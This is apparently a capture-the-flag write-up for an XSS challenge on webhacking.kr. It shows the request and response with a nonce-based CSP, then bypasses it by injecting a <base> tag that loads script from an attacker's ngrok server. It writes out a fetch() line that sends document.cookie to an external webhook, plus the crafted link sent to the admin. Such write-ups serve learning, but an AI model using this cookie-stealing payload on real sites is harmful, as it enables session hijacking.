BABY -- XSS (base)
URL: http://webhacking.kr:10010/?inject=foo
➜ curl -b 'PHPSESSID=hi4uvai5sde90encr0ktq6879f' "http://webhacking.kr:10010/?inject=foo" -i
HTTP/1.1 200 OK
Date: Mon, 19 Aug 2024 16:44:37 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: script-src 'nonce-1RBeY+47Z3ak68nHTPcL0SxVYYc=';
Vary: Accept-Encoding
Content-Length: 145
Content-Type: text/html; charset=UTF-8
<h2>you can inject anything</h2>
<div id=injected>
foo
</div>
<script src=/script.js nonce=1RBeY+47Z3ak68nHTPcL0SxVYYc=></script>While we can inject anything we can't execute anything due to CSP policy...
Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'nonce-ecAUJY39iD/ktq3MkULVqlHGVtk='". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present.There's a report form which sends the URL to admin, meaning we have to steal their cookies somehow.
base tag: The <base> HTML element specifies the base URL to use for all relative URLs in a document. There can be only one <base> element in a document.
We can take advantage of base tag to include the malicious JS hosted on our machine.
Create script like
fetch('https://uwuos.free.beeceptor.com/?c='+document.cookie)Setup python server, then attach ngrok to that http port, Craft malicious link http://webhacking.kr:10010/?inject=<base%20href="https://e6ff-188-169-37-20.ngrok-free.app"%20/>, send to admin
Receive the flag on desired webhook server
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